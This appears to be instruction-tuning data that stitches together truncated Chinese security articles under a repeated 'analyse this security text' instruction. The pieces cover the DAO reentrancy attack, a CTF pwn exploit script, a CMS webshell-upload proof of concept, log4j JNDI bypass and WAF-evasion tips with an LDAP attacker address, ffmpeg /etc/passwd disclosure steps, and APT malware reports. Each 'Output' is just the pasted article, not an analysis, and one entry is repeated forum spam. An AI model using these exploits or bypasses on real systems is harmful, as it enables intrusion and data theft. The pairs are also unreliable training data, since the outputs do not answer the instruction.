DAO项目就这么火起来了，截止5月15日这个项目筹得了超过一亿美元，而到整个融资期结束，共有超过11,000位热情的成员参与进来，筹得1.5亿美元，成为历史上最大的众筹项目。The
DAO所集资的钱远远超过其创建者的预期。
总结来说，DAO项目的运作方式如下：
  * 1 首先要拥有其自己的团队来编写运行的智能合约代码
  * 2 有初始融资阶段，在这一阶段人们添加资金来购买代币，来代表其所有权——这个过程叫做众销，或者首次代币发行（ICO）——为其提供所需资源。
  * 3 当融资结束后，DAO项目就可以开始利用融到的钱真正开始运作。
  * 4 人们开始像DAO系统管理者提出如何使用这笔钱的方案，并且购买DAO的成员就有资格对这些提案进行投票。
在介绍完成DAO的基本概念后，我们介绍下16年的这次DAO的重大攻击。在2016年6月17日，运行在以太坊公链上的The
DAO智能合约受到攻击。黑客利用合约中存在的递归调用不断转账“刷钱”，导致合约合约筹集的公共款不断的被转移到其子合约中。简单来说，此次攻击是由于以下两个方面的不当导致的
    ①函数存在逻辑漏洞，变量值更新不当以及智能合约本身存在的机制联合导致、②攻击者递归调用splitDAO函数，并不断进行自我调用。在递归快要接触到Blcok Gas Limit的时候进行了收尾工作并将自己的DAO资产转移到另一个受攻击账户并在利用完漏洞后将资产再转移回来。
如此以来，黑客利用2个账户反复利用Proposal进行攻击，从而转移了360万个以太币（价值6000万美元）。
### 二、DAO事件中的Race-To-Empty
Race-To-Empty情况我在之前的文章中有所简单的介绍，详细参考[区块链的那些事—论激励机制与激励层中的Race-To-Empty攻击](https://xz.aliyun.com/t/2904)。不同于上一篇文章，这次的攻击更有针对性，专门针对DAO事件的源码进行的分析。
由对Race-To-Empty的了解，我们知道该攻击在DAO事件中是由于不断递归而进行的无限制转账问题，由此我们可以看下面代码：
    function withdrawBalance() {
      amountToWithdraw = userBalances[msg.sender];
      if (!(msg.sender.call.value(amountToWithdraw)())) { throw; }
      userBalances[msg.sender] = 0;
    }
我们可以简单解释下。
`userBalances[ msg.sender
]`为我们需要转账的金额，并将值赋给`amountToWithdraw`。之后我们看`msg.sender.call.value(amountToWithdraw)())`，msg使用了`call.value()`方法，这个方法的含义为：发送余额，发送不成功时抛出异常，本次调用不成功。而在以太坊中，call.value()方法需要与gas结合，我们后面会介绍。之后调用`userBalances[msg.sender]
= 0`修改余额为0。
而我们知道以太坊中的部分函数是附加有默认函数伴随执行的，例如上面的`msg.sender.call.value(amountToWithdraw)())`。会伴随执行下面函数。
    function () {
      vulnerableContract v;
      uint times;
      if (times == 0 && attackModeIsOn) {
        times = 1;
        v.withdrawBalance();
       }
    else { times = 0; }
    }
当调用`msg.sener.call.value()`时，就会调用到默认函数，而默认函数又调用了withdraw造成了递归调用。如果我们将`withdrawBalance()`函数标记为函数W，将默认函数`function`标记为函数F。则有以下的堆栈情况：
    先执行withdrawBalance，之后调用call，然后调用默认函数function，之后function中又执行了withdrawBalance......
第一次调用...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 2019全国大学生信息安全竞赛初赛pwn前四题writeup

##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
这次比赛很尴尬，我本来以为自己报上了名，但是结果没报上。。。只能让同学给我发题目然后自己做，没法拿flag，一共六题，只做出来四题，两题栈，两题堆，最后两题做出来的队伍个数都只有16个，显然不是我这小破邮大一菜狗可以做出来的
Or2。
所有的二进制文件都在这里：[题目的二进制文件](https://github.com/xiaoxiaorenwu/mypwn/tree/master/2019_%E5%85%A8%E5%9B%BD%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B%E5%88%9D%E8%B5%9B)
## 栈部分：
###  0x1 第一天_your_pwn:
**0x11功能分析和漏洞寻找：**
首先gdb看一下题目基本信息，是64位的程序，PIE开启，NX开启，relro没开全。
放进ida看一下，在main函数里只是一些准备工作没有漏洞存在，我们进入vuln函数进一步分析：
在vuln中我们发现了程序进行了41次循环，每一次输入一个下标index，以局部变量v4为基准泄露一个字节的内容，然后再改为新的数据，
**漏洞点在于index没有进行大小检查，可以任意大，超出v4数组的范围到达main返回地址处，**
这既实现了leak又实现了change，而且有41次机会，现在思路就很明了了！！
**0x12 漏洞利用：**
第一步还是leak出libc，根据经验我们知道在main函数返回地址附近一般会有__libc_start_main+240出现，我们可以泄露其然后进而泄露libc，这里的libc需要我们自己查找确定，我用的是wiki上的一个工具：[LibcSearcher](https://github.com/lieanu/LibcSearcher)，除了libc之外，我们还应泄露一下程序的基址，因为程序开了PIE，所以我们最后改main函数返回地址的时候要构造p64(pop_rdi_addr)+p64(sh_addr)+p64(system_addr)这个payload的时候pop_rdi_addr这个gadget需要程序基址。
main函数的rbp附近的stack分部如下图：我们可以利用画红圈的两个地方来leak出libc和基址。
第二步就是将main的返回地址改为payload=p64(pop_rdi_addr)+p64(sh_addr)+p64(system_addr)。需要注意的是sh_addr和system可能因为libc的不同而产生一些小变化，保险起见还是直接调试看偏移最好，不要直接在libc中搜索。
**0x13 exp如下：**
    #coding:utf-8
    from pwn import *
    from LibcSearcher import *
    context(os='linux',arch='amd64')
    #context.log_level = 'debug'
    p = process('./pwn')
    P = ELF('./pwn')
    p.recvuntil('name:')
    p.send('x12x12x12x12x12x12x12x12')
    ret_addr = [0 for i in range(6)]
    #----------------------------------------leak __libc_start_main_addr-------------------------------    for i in range(6):
        p.recvuntil('input indexn')
        p.sendline(str(624+8+i))  #具体数字自己调试，之后同，只要一块对了，然后之后算偏移即可。
        p.recvuntil('value(hex) ')
        addr = p.recv(8)
        if(addr[0]=='f'):
            addr = int(addr[6:],16)
        else:
            addr = int(addr[0:2],16)
        log.success('one_addr = '+hex(addr))
        p.recvuntil('ne...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# CVE-2017-11882漏洞利用：投递Loki信息窃取木马的破解版本

##### 译文声明
本文是翻译文章，文章原作者 Rubio Wu, Anita Hsieh, and Marshall Chen，文章来源：trendmicro.com
原文地址：<http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2017-11882-exploited-deliver-cracked-version-loki-infostealer/>
译文仅供参考，具体内容表达以及含义原文为准。
## 传送门
[CVE-2017-11882：微软Office内存损坏漏洞导致远程命令执行](../post/id/87253)
[微软如何手工修复Office Equation内存破坏漏洞（CVE-2017-11882）](../post/id/87280)
[Microsoft Office内存损坏漏洞（CVE-2017-11882）分析](../post/id/87284)
[CVE-2017-11882漏洞分析、利用及动态检测](../post/id/87311)
[Office公式编辑器漏洞（CVE-2017-11882）已遭利用](../post/id/87324)
## 概述
根据我们掌握的情报，[Cobalt黑客组织](http://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/)是第一个利用[CVE-2017-11882漏洞](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882)实施网络犯罪活动的组织，该漏洞在今年11月已经发布[相应补丁](http://blog.trendmicro.com/trendlabs-security-intelligence/november-patch-tuesday-includes-update-attacks-abusing-dynamic-data-exchange/)。我们在12月初，发现[已经有人](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/17-year-old-ms-office-flaw-cve-2017-11882-actively-exploited-in-the-wild)利用该漏洞投递多种恶意程序，包括Pony/FAREIT、FormBook、ZBOT和Ursnif。另外，我们发现，最近一次对它的利用，是借助该漏洞，安装一个破解后的信息窃取木马Loki。
Loki的主要功能在于，可以从FTP客户端（例如：Filezilla）、Web浏览器（例如：Firefox、Chrome和Safari）以及电子邮件客户端（例如：Outlook和Thunderbird）中收取数据，也可以从管理员工具PuTTY、终端模拟器、系统控制台和网络文件传输应用中收集数据。同时，它可以作为一个恶意软件加载，能够[记录键盘键入的内容](https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850)。在黑客论坛中，它作为密码和加密钱包的窃取工具出售。
在黑客论坛上，破解版本Loki的终身许可证大概在60-100美元之间，而原版则需要250-450美元之间。如果需要附加的功能（例如窃取比特币钱包）或者其他服务（例如域名/IP地址更改），买家需要支付更多的费用。
我们还注意到，黑客组织自称其售卖的是Loki的原始版本，但实际上只是一个破解的版本。尽管他们使用的是盗版恶意软件，但他们的活动似乎遵循一个固定的操作模式，会盗用他人的电子邮箱，并将垃圾邮件发送给该邮箱账户通讯录中的所有人。目前，该网络活动具有特定的目标，受影响的国家及地区包括法国、中国香港、美国、克罗地亚、印度、澳大利亚、韩国和毛里求斯。
## 感染链
垃圾电子邮件会伪装成澳大利亚航运公司，邮件中会附带一个Office文档格式的附件，并引诱目标用户下载。实际上，该附件是一个Dropper类型的病毒，嵌入在文档中的OLE（Object
Linking and Embedding，对象链接与嵌入）对象会链接至另外一个恶意文档，地址为：hxxp://ga...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊
请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊
请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊
请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊
请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

CMS简介
因酷开源网校系统是由北京因酷时代科技有限公司以下简称（因酷教育软件）研发并推出的国内首家Java版开源网校源代码建站系统，并免费提供给非商业用途用户使用，是用户体验最好、运营功能最全、性价比最高的在线教育软件，不仅解决了开发技术难和成本过高的难题，而且在此功能基础上还可以安装其他供应商开发的应用，这样中小学习型组织就可以自主掌握一款独一无二的网校系统。
因酷开源网校系统提供视频云点播、在线学习、课程管理、网校管理等功能。管理者可以针对不同的用户设置不同的权限，限制特定用户的访问，不同的角色拥有不同的管理权限；老师可以使用因酷云视频提供的点播直播服务，也可以使用第三方的云视频服务；并且可以添加修改课程和课程专业,
对课程进行推荐分类；课程发布后，可以通过讲师和专业快捷的搜索到课程，每个课程都有介绍页面，学生可以查看课程的基本信息介绍和预览课时，再决定是否购买课程；购买课程后，学生可以重复观看，同时也可以收藏自己喜欢的课程，并分享到其他平台。
目前因酷的产品线非常齐全，有网校系统、直播系统、慕课系统、考试系统、社区系统、教育门户官网、因酷视频云等十多种，可实现录播点播直播考试互动等一系列线上教学功能。因酷志在为中小学习型组织提供开源教育产品，全面满足用户需求，已为近2000+用户提供高品质技术或服务，覆盖K12教育、
财会金融、法律培训、公考求职、建筑工程、医疗卫生、文化艺术、语言培训、
继续教育等众多领域，客户遍及国内33个省市自治区，更获得了加拿大、新西兰等国际教育机构的一致认可
官网：<https://www.inxedu.com/>
下载地址：<http://down.admin5.com/jsp/132874.html>
测试环境
CMS v2.0.6
JDK 1.8
Tomcat 7
Mysql 5.5
maven 3.6.3
IntelliJ IDEA 2018
漏洞分析
CMS 使用SSM框架
漏洞位置：
com/inxedu/os/common/controller/VideoUploadController.java
漏洞发生在视频上传功能模块，定位到漏洞代码位置如下：
这漏洞上传点使用springframework框架方式，gok4方法，接受request ,uploadfile，param，fileType
四个参数，uploadfile 是文件流，fileType是扩展名。
此处是判断上传文件名与fileType参数文件是否一致，一个小小的限制，可以绕过，在漏洞复现时将fileType参数设置为jsp就可以上传网马
此处是获取文件路径：
继续跟进getPath方法:
通过分析发现将param设置为空，CommonConstants.projectName获取project.properties配置文件中的项目上名称，所以完成上传路径：/images/upload/项目名/系统年月日时间/系统分时秒+扩展名（ext）
从整个上传流程发现，并没有对上传任何限制，直接上传，在74行uploadfile.transferTo 就直接上传，77行返回上传路径
利用复现
构造一个上传表单：
<form action="http://localhost:8080/video/uploadvideo"
enctype="multipart/form-data" id="frmUpload" method="post">
<input name="uploadfile" type="file">
<input type ="text" name = "fileType" value="">
<input id="btnUpload" type="submit" value="上传">
</form>
</form>


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 连载《Chrome V8 原理讲解》第九篇 Builtin源码分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 摘要
上一篇文章中，Builtin作为先导知识，我们做了宏观概括和介绍。Builtin（Built-in
function）是编译好的内置代码块（chunk），存储在`snapshot_blob.bin`文件中，V8启动时以反序列化方式加载，运行时可以直接调用。Builtins功能共计600多个，细分为多个子类型，涵盖了解释器、字节码、执行单元等多个V8核心功能，本文从微观角度剖析Builtins功能的源码，在不使用`snapshot_blob.bin`文件的情况下，详细说明Builtin创建和运行过程。
本文内容组织结构：Bultin初始化过程（章节2），Builtin子类型讲解(章节3)。
## 2 Builtin初始化
下面是`code`类，它负责管理所有`Builtin`功能，是`builtin table`的数据类型。
    1.  class Code : public HeapObject {
    2.   public:
    3.    NEVER_READ_ONLY_SPACE
    4.    // Opaque data type for encapsulating code flags like kind, inline
    5.    // cache state, and arguments count.
    6.    using Flags = uint32_t;
    7.  #define CODE_KIND_LIST(V)   \
    8.    V(OPTIMIZED_FUNCTION)     \
    9.    V(BYTECODE_HANDLER)       \
    10.   V(STUB)                   \
    11.    V(BUILTIN)                \
    12.    V(REGEXP)                 \
    13.    V(WASM_FUNCTION)          \
    14.    V(WASM_TO_CAPI_FUNCTION)  \
    15.    V(WASM_TO_JS_FUNCTION)    \
    16.    V(JS_TO_WASM_FUNCTION)    \
    17.    V(JS_TO_JS_FUNCTION)      \
    18.    V(WASM_INTERPRETER_ENTRY) \
    19.    V(C_WASM_ENTRY)
    20.    enum Kind {
    21.  #define DEFINE_CODE_KIND_ENUM(name) name,
    22.      CODE_KIND_LIST(DEFINE_CODE_KIND_ENUM)
    23.  #undef DEFINE_CODE_KIND_ENUM
    24.          NUMBER_OF_KINDS
    25.    };
    26.    static const char* Kind2String(Kind kind);
    27.    // Layout description.
    28.  #define CODE_FIELDS(V)                                                    \
    29.    V(kRelocationInfoOffset, kTaggedSize)                                   \
    30.    V(kDeoptimizationDataOffset, kTaggedSize)                               \
    31.    V(kSourcePositionTableOffset, kTaggedSize)                              \
    32.    V(kCodeDataContainerOffset, kTaggedSize)                                \
    33.    /* Data or code not directly visited by GC directly starts here. */     ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 0 前言
log4j漏洞的形成原因已经有很多分析文章了，这里说一说我是如何在了解到有漏洞后，跟进漏洞产生原理的，以及发现的一些绕WAF tips
# 1 跟进漏洞产生原因的思路
## 1.1 如何发现漏洞产生原因的
了解到log4j <=2.14.1 存在RCE的情况，我马上跑到其官方github看了一下，发现commit记录中有两个关键commit
  * 第一，log4j不再自动对消息中的lookup进行格式化，第一时间看到不是很懂
  * 第二，限制JNDI默认支持，限制通过LDAP访问服务器和类
这两个点很容易联想到是不是跟JNDI攻击有关系，毕竟RMI和LDAP很容易做到RCE。跟进commit看看具体的修改情况，<https://github.com/apache/logging-log4j2/commit/d82b47c6fae9c15fcb183170394d5f1a01ac02d3>
这个commit中，对`org.apache.logging.log4j.core.net.JndiManager.java`进行了大量修改，特别是在lookup方法中，加了很多代码
仔细看了一下，没有修改前，lookup方法直接通过`this.context.lookup(name)`执行JNDI操作，没有任何过滤或者限制，而新增加的代码在限制JNDI服务器、类。当天晚上看到payload后，马上对log4j
2.14.1版本尝试验证一下，并在JndiManager#lookup方法中断点看到如下
很明显，name就是payload中给定的，仔细看一下调用栈就可以发现，log4j会对字符串中的${}自动解析，也就是前面提到的commit备注信息中写到的。
## 1.2 如何绕过2.15.0-rc1版本
看到rc1版本存在绕过的消息，又来看看官方github仓库的commit记录，里面有一条在更新到2.15.0-rc1版本后的[commit记录](https://github.com/apache/logging-log4j2/commit/c2b07e37995004555c211cdf0bb169d6a6a6f96b)，提交的信息是"handle URI
exception"，即处理了URI出错的情况。修改代码情况如下图
JndiManager#lookup方法处给catch语句中添加了两行代码，记录URI解析错误并返回null。而添加这两行代码前，此处只有一行注释，因此catch报错后会继续向下执行this.context.lookup，也就意味着前面try语句中的代码报错后，会继续执行JNDI操作，绕过也就来自于这里。
来看看try语句是什么写的
代码比较长没有完全截进来，关键点是进入lookup方法后，立即将name变量送入URI类的构造函数中，此时只要URI的构造函数对name字符串解析出错，即可跳转到catch语句，进而向下执行到JNDI操作。
那么我们要关注的点就是让`new
URI(name)`处报错，但是name又能被jndi正常识别。好在我们用marshalsec构造ldap服务时，不需要关心uri长什么样，所以可以在uri上做文章。
跟踪源代码可以查看到URI对字符的支持情况
数字、字母大小写这些就不说了，其它可打印字符也不多，从上面的注释中可以看到URI对 **反引号`，空格，尖括号
<>**并不支持，基于这一点，可以做个简单的实验
空格和尖括号同样报错，就不重复截图了。回到前面提到的2.15.0-rc1版本对JndiManager#lookup方法的修复情况，并没有在catch语句中添加返回操作或报错，程序遇到报错后，会继续向下执行，从而造成危险。
由于找了很久都没有找到log4j-core-2.15.0-rc1.jar这个包，所以自己写了个函数模拟一下绕过的场景
# 2 LDAP绕WAF的tips
## 2.1 URI解析
看完rc1版本的绕过后，又想了一下，防御工具可能会有针对性的做一些关键字检测，所以我打算从LDAP更深层的源代码看看有没有对字符串变形的可能性。
跟着this.context.lookup(name)处向下跟进到`com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN`方法，代码如下
注意var0也就是输入是完整的"ldap://192.168.34.96:1389:/a"，而后var2可以使用getHost和getPort方法获取host和port，说明var2对象在创建时解析了ldap地址。跟进LdapURL类到达Uri#parse方法
  * com.sun.jndi.toolkit.url...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

6月24号的时候hackerone网站上公布了一个ffmpeg的本地文件泄露的漏洞，可以影响ffmpeg很多版本，包括3.2.2、3.2.5、3.1.2、2.6.8等等。
hackerone网站上的漏洞介绍:
<https://hackerone.com/reports/226756。与之相关联的还有其他几篇hackerone上的漏洞报告：https://hackerone.com/reports/243470、https://hackerone.com/reports/242831>)
实际上这个漏洞@EmilLerner和@PavelCheremushkin最早在今年的phdays大会上就已经披露了，视频可以在<https://www.phdays.com/broadcast/搜索Attacks>
on video converter得到，不过是全俄语的，暂时没有英文字母。也可以参考漏洞作者在phday大会上的ppt
作者实际上在5月份的时候就发现了该漏洞并提交，6月26号的时候公布出来，最新的ffmpeg版本3.3.2中已经修复了，但是旧的版本不保证。
背景介绍
FFmpeg是一套目前非常流行的可以用来记录、转换数字音频、视频，并能将其转化为流的开源计算机程序。它提供了录制、转换以及流化音视频的完整解决方案。目前有非常多的视音频软件或是视频网站、手机
APP 都采用了这个库，但是这个库历史上曝出的漏洞也非常之多。这次的漏洞是利用了ffmpeg可以处理 HLS 播放列表的功能，在 AVI 文件中的
GAB2字幕块中嵌入了一个 HLS 文件，然后提供给ffmpeg进行转码，在解析的过程中把它当做一个 XBIN 的视频流来处理，再通过 XBIN
的编解码器把本地的文件包含进来，最后放在转码后的视频文件当中。
漏洞重现方法
1) 下载脚本 <https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py2>) 运行脚本：python3 gen_xbin_avi.py
file:///etc/passwd sxcurity.avi3) 访问<https://arxius.io，上传sxcurity.avi4>)
等待上传处理视频5) 录像处理完成后，点击播放就可以看到/etc/passwd的内容
温故而知新
这次的漏洞实际上与之前曝出的一个 CVE 非常之类似，可以说是旧瓶装新酒，老树开新花。
之前漏洞的一篇分析文章：
SSRF
和本地文件泄露（CVE-2016-1897/8）<http://static.hx99.net/static/drops/papers-15598.html>
这个漏洞实际上也是利用了ffmpeg在处理 HLS
播放列表文件的过程中，由于支持非常多的协议，如http、file、concat等等，导致可以构造恶意的url造成 SSRF
攻击和本地文件泄露。下面这幅图介绍了整个的攻击流程。
官方对这个漏洞的修复是把concat协议加入了黑名单并在结构体中加入了protocol_blacklist和protocol_whitelist这两个域。但是这次的漏洞利用了内嵌在字幕块中的
m3u8文件成功绕过了ffmpeg的某些限制。
HLS 协议简单介绍
HLS(HTTP Live
Streaming)是苹果公司针对iPhone、iPod、iTouch和iPad等移动设备而开发的基于HTTP协议的流媒体解决方案。在 HLS 技术中
Web 服务器向客户端提供接近实时的音视频流。但在使用的过程中是使用的标准的 HTTP 协议，所以这时，只要使用 HLS 的技术，就能在普通的 HTTP
的应用上直接提供点播和直播。该技术基本原理是将视频文件或视频流切分成小片(ts)并建立索引文件(m3u8)。客户端会先向服务器请求
m3u8索引文件，然后根据索引文件里面的url去请求真正的ts视频文件。如果是多级的m3u8索引的话，那就会从根索引文件开始，一层一层的往下去请求子的索引文件，获取最终的TS流文件的http请求地址与时间段。
M3U8文件中有很多TAG，每一个 TAG
的详细的作用可以参考这篇文章：<http://blog.csdn.net/cabbage2008/article/details/50522190>
针对ffmpeg 3.1.2版本的漏洞分析
先介绍一下ffmpeg是怎样把一个输入文件转码成另一种格式的视频文件，流程图如下：（图片引用自<http://blog.csdn.net/leixiaohua1020/article/details/25422685）>
然后我们观察一下攻击者提供的poc生成...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

**作者：启明星辰ADLab
原文链接：<https://mp.weixin.qq.com/s/n3HcxJT-oDPeVMtekhXcIg>**
### 一、分析背景
2020年8月中旬，启明星辰ADLab发现了一起新型攻击活动，该攻击背后的黑客组织利用各种技术手段做掩护已经活跃了多年，但黑客组织及攻击活动的情报信息依然未被公开披露。本文将针对本次攻击活动及其背后的黑客组织进行深入分析，并公开我们溯源出的黑客组织成员以及其使用的基础设施、攻击工具、攻击手法等的信息。在分析攻击活动的过程中，我们发现该黑客组织不仅是针对企业进行定向攻击的黑客团伙，而且还是长期从事物联网攻击的惯犯。为了便于描述该黑客组织，我们将其命名为“海毒蛇(SeaViper)”组织，该组织具有APT攻击和物联网攻击的特性，定向攻击的目标集中在金融机构、政府事业单位、精密仪器、酒店和旅游业等相关的实体，物联网攻击涉x86、x64、arm、spc、mips、ppc等多个CPU平台，甚至还包含摩托罗拉的广泛用于街机和家用游戏机微处理器m68和m68k,以及日立的用于多媒体终端、电视游乐器或机顶盒的微处理器sh4。
“海毒蛇”曾经使用如CVE-2017-0199、CVE-2017-8570之类的office漏洞来攻击企事业单位，同时也使用了大量物联网设备的漏洞来构建物联网僵尸网络。从黑客的历史活动迹象上可以看出该黑客组织是一个以经济利益为目标的犯罪团伙。此外针对企业攻击中，“海毒蛇”首次利用了诱饵文档的批注信息来隐藏恶意代码，同时采用多级跳板、混淆加密等等手段来规避追踪与检测。
在溯源分析过程中我们发现，该黑客组织极有可能来自于南亚的某个国家，至少包含有6名成员，其中一位负责恶意代码的编写工作，其他人负责配置并投放恶意代码，溯源到的6名成员的名称来自于黑客所使用的计算机用户名（可能并不是其真实名称）。我们首先通过恶意代码的PDB路径及其广泛制作的恶意文件锁定了其中一个成员“Eng
Moha”，其后通过大量的数据分析锁定了其他五名成员：“mnb joker”、“Lye Gomes”、“Joselio Bonin”、“Emanoel
Brito”和“aSmarany”。其中，“Eng
Moha”负责恶意程序开发、漏洞利用等工作，其他人负责攻击代码的配置和分发。在过去的一年多时间里，该黑客组织先后利用Gafgyt、Mirai木马组建僵尸网络进行DDoS攻击、并利用OneDrive云存储空间和鱼叉式网络等方式向商业公司投放AgentTesla、Remcos
RAT和Masslogger窃密木马牟利。同时，“海毒蛇”还持有大量恶意域名和用于托管恶意文件的虚拟主机等网络基础设施。通过深度的关联，我们发现“海毒蛇”组织似乎与Gorgon
APT组织还有一定关联。
### 二、追踪与溯源
#### 2.1 缘起
2020年8月中旬，启明星辰ADLab监测到一封题为“电子转账付款账单”的恶意邮件，该邮件以“美国银行”的名义发起钓鱼邮件攻击，其附件为一个excel表格文件(图1为本次攻击的一个邮件样本，目标为美国阿拉巴马州亨茨维尔市公共事业公司“Huntsville
Utilities”)，通过多级代码跳转最终向目标植入Remcos
RAT，以窃取目标主机的机密信息。在初步分析后,除了零散的样本信息外，我们没有在公开情报和私有情报库中找到任何与攻击及攻击背后的黑客组织相关的信息。通过对基础设施的关联分析，发现该黑客组织与多次物联网攻击有着紧密的关系，因此我们决定对本次攻击活动及其背后的攻击团伙进行一次摸底。我们很快关联到8月初另外几起相同手法的攻击，这几起攻击伪装成了“美国大通银行”和“美国富国银行”向金融机构“ENGS”投放攻击代码（图2）。
图1 伪装成美国银行的钓鱼邮件
图2 伪装成大通银行的钓鱼邮件
为了还原“海毒蛇”攻击活动的全貌，我们对其活动的线索进行全面地收集和分析，发现了他们使用的大量基础设施、定向攻击样本、使用的漏洞以及攻击物联网设备所使用的一些攻击武器，并进一步挖掘出了该组织的组成成员。
#### 2.2 基础设施分析与溯源
在追踪黑客的初期，我们首选黑客使用的几个典型控制命令服务器进行分析，从定向攻击的几个样本中提取的基础设施来看，用于控制Remcos
RAT的服务器“boyflourish.myq-see.com”解析到了IP为“79.134.225.32”的这台主机。同时，我们发现另外一个解析到该IP地址的黑客域名“rapture666.myq-see.com”，该域名是黑客另外一批Remcos
RAT的控制命令服务器。由于黑客对使用的域名都做了隐私保护，因此从域名注册信息上无法进一步得到溯源线索。但黑客域名“rapture666.myq-see.com”...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 疑似Lazarus针对双平台的攻击活动披露
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
Lazarus
APT组织是一个长期活跃的组织，因为2014年攻击索尼影业而开始受到广泛关注，该组织早期主要针对韩国，美国等国家的政府机构进行攻击活动，以窃取情报等信息为目的。自2014年后，该组织开始针对全球金融机构，加密交易机构等为目标，进行敛财活动。
近期，奇安信威胁情报中心红雨滴团队在日常的APT样本追踪中，捕获一例利用心理测验为诱饵的Lazarus攻击样本，该样本通过宏释放PowerShell脚本执行,从而控制受害者计算机。奇安信威胁情报中心通过溯源关联，捕获另一例针对macOS的攻击样本，并在发现此次攻击活动的第一时间通过社交媒体进行预警。
## 样本分析
奇安信威胁情报中心红雨滴团队通过捕获到的针对Windows平台的恶意宏文档进行详细分析，并关联到该组织针对macOS平台攻击的恶意样本，针对这两个平台的样本详细分析如下。
### 诱饵文档
MD5 | 6850189bbf5191a76761ab20f7c630ef
---|---
作者 | Windows User
修改时间 | 2019:10:22 02:53:14
本次攻击活动攻击者使用心里测验相关内容为诱饵，诱导用户启用宏：
启用宏需要点击文档中的笑脸图标，从而执行恶意宏代码：
恶意宏代码执行后会将恶意PowerShell代码写入到%temp%目录下并通过PowerShell.exe执行：
### PowerShell脚本分析
释放的PowerShell脚本是一个后门，硬编码了三个C2地址：
执行后与内置的C2服务器进行通信，若通信失败，则休眠一段时间尝试连接其他C2地址：
最后从C2获取命令执行，根据不同的命令执行不同功能：
其支持的后门命功能如下表所示：
命令ID | 功能
---|---
2 | 设置休眠时间
3 | 结束本进程
11 | 获取本机基本信息上传
12 | 检查恶意程序当前状态
14 | 显示当前恶意程序配置
15 | 更新恶意程序C2等配置
18 | 通过cmd执行命令
20 | 上传指定文件
21 | 下载文件保存到指定文件
24 | 执行命令
部分恶意功能代码对应如下：
获取本机计算机名、IP地址、系统版本号等信息并上传：
通过CMD执行C2下发的命令：
更新C2服务器配置信息：
上传指定的文件：
下载文件保存到指定位置：
### macOS Backdoor分析
经过关联分析，奇安信威胁情报中心关联到使用相同C2且针对macOS平台的攻击样本，样本基本信息如下：
文件名 | Album.app.zip
---|---
MD5 | a8096ddf8758a79fdf68753190c6216a
样本解压后是macOS上的app应用程序，目录结构如下：
当点击启动app应用程序时，系统会从info.plist中获取应用信息。info.plist文件包括图标，可执行二进制文件名称，加载界面文件等对应用程序的基本描述。该恶意Flash
Player通过info.plist执行起来：
Flash Player运行后首先从自身偏移0x1340，截取大小0x6c74的数据保存到.FlashUpdateCheck：
之后写入配置文件com.adobe.macromedia.flash.plis，并通过launchctl
load加载配置文件，从而使配置文件生效并实现.FlashUpdateCheck的自启动：
接着使用chmod命令提升.FlashUpdateCheck权限：
.FlashUpdateCheck文件相关信息如下：
文件名 | .FlashUpdateCheck
---|---
MD5 | bac54e7199bd85afa5493e36d3f193d2
该文件具有后门功能，功能与前述PowerShell后门基本一致，且同样硬编码了三个C2地址：
其运行后会与C2通信获取需要执行的指令：
之后根据C2指令执行不同的恶意功能：
对应的功能列表如下：
命令ID | 功能
---|---
2 | 设置休眠时间
3 | 结束本进程
11 | 获取本机基本信息上传
12 | 检查恶意程序当前状态
14 | 显示当前恶意程序配置
15 | 更新恶意程序C2等配置
18 | 通过bash执行命令
19 | 执行其他命令
20 | 上传指定文件
21 | 下载文件
24 | 通过system执行
25 | 通过system执行
## 溯源与关联
通过对本次攻击...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# QEMU-Pwn-XNUCA-2019-vexx
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 描述
官方给了下载链接，然后一段描述给了用户名和密码：
    user: root
    pass: goodluck
    Try to escape the QEMU world!
压缩包下载下来，看目录：
    $ ll
    -rw-r--r-- 1 raycp raycp 4.2M Aug  6 01:42 bzImage
    -rwxr-xr-x 1 raycp raycp  228 Aug 23 19:04 launch.sh
    drwxr-xr-x 6 raycp raycp 4.0K Aug  6 01:42 pc-bios
    -rwxr-xr-x 1 raycp raycp  58M Aug  6 01:42 qemu-system-x86_64
    -rw-r--r-- 1 raycp raycp  60M Aug  6 01:42 rootfs.ext2
`launch.sh`内容：
    #!/bin/sh
    ./qemu-system-x86_64 -hda rootfs.ext2 -kernel bzImage -m 64M -append "console=ttyS0 root=/dev/sda oops=panic panic=1" -L ./pc-bios -netdev user,id=mynet0 -device rtl8139,netdev=mynet0 -nographic -device vexx -snapshot
根据参数`-device vexx`，多半是要去找`vexx`里面的漏洞。
## 分析
`sudo ./launch.sh`把虚拟机跑起来，然后将`qemu-system-x86_64`拖进IDA里面。
在函数里面搜索`vexx`，查看相关函数：
